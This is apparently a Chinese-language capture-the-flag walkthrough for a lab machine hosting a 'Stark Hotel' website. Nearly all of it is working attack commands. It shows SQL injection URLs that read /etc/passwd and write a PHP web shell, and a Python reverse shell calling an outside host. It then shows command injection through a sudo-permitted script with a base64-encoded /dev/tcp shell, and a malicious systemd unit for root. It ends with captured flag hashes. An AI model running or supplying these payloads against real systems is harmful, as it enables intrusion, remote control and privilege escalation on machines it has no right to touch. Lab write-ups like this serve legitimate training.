信息收集

$ nmap -p- 10.10.10.143 --min-rate 1000 -sC -sV

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey: 
|   256 25:d8:08:a8:4d:6d:e8:d2:f8:43:4a:2c:20:c8:5a:f6 (ECDSA)
|_  256 77:d4:ae:1f:b0:be:15:1f:f8:cd:c8:15:3a:c3:69:e1 (ED25519)
80/tcp    open  http    Apache httpd 2.4.25 ((Debian))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-title: Stark Hotel
|_http-server-header: Apache/2.4.25 (Debian)
64999/tcp open  http    Apache httpd 2.4.25 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.25 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

SQLI & Web Reverse Shell

http://10.10.10.143

http://10.10.10.143/room.php?cod=1

不幸的是，如果你尝试使用sqlmap自动注入则会被封禁IP

字段数量为7个

$ curl -s 'http://10.10.10.143/room.php?cod=1%20order%20by%207--+' | wc -c

http://10.10.10.143/room.php?cod=-1%20union%20select%201,2,3,4,5,6,7--+

http://10.10.10.143/room.php?cod=-1%20union%20select%201,GROUP_CONCAT(DISTINCT%20%20table_name),3,4,5,6,7%20FROM%20information_schema.columns--+

http://10.10.10.143/room.php?cod=-1%20union%20select%201,LOAD_FILE(%27/etc/passwd%27),3,4,5,6,7--+

得知www-data的工作目录在/var/www/

http://10.10.10.143/room.php?cod=-1%20union%20select%201,%27%3C?php%20system($_GET[1]);phpinfo();?%3E%27,3,4,5,6,7%20INTO%20OUTFILE%20%27/var/www/html/reverse.php%27--+

$ curl 'http://10.10.10.143/reverse.php?1=python3+-c+%27import+socket%2csubprocess%2cos%3bs%3dsocket.socket(socket.AF_INET%2csocket.SOCK_STREAM)%3bs.connect((%2210.10.16.24%22%2c10034))%3bos.dup2(s.fileno()%2c0)%3b+os.dup2(s.fileno()%2c1)%3bos.dup2(s.fileno()%2c2)%3bimport+pty%3b+pty.spawn(%22%2fbin%2fbash%22)%27'

www-data to pepper

$ sudo -l

我们可以使用pepper用户身份执行simpler.py文件

$ echo '$(cat /etc/passwd)' |sudo -u pepper /var/www/Admin-Utilities/simpler.py -p

$ echo 'L2Jpbi9iYXNoIC1jICIvYmluL2Jhc2ggLWkgPiYvZGV2L3RjcC8xMC4xMC4xNi4yNC8xMDAzNSAwPiYxIgo='|base64 -d >/tmp/rev.sh;chmod +x /tmp/rev.sh

$ echo '$(/tmp/rev.sh)' |sudo -u pepper /var/www/Admin-Utilities/simpler.py -p

User.txt

2354b15a6cb7ae36bfd2cb72f7b69b0d

权限提升

TRP00F自动化权限提升

Systemctl 权限提升

pwn.service

[Service]
Type=oneshot
ExecStart=/bin/bash -c '/bin/bash -i >&/dev/tcp/{re_ip}/{re_port} 0>&1'
[Install]
WantedBy=multi-user.target

$ systemctl link /tmp/pwn.service

$ systemctl start pwn.service

Root.txt

9d8eb89d70c481256f008375359affec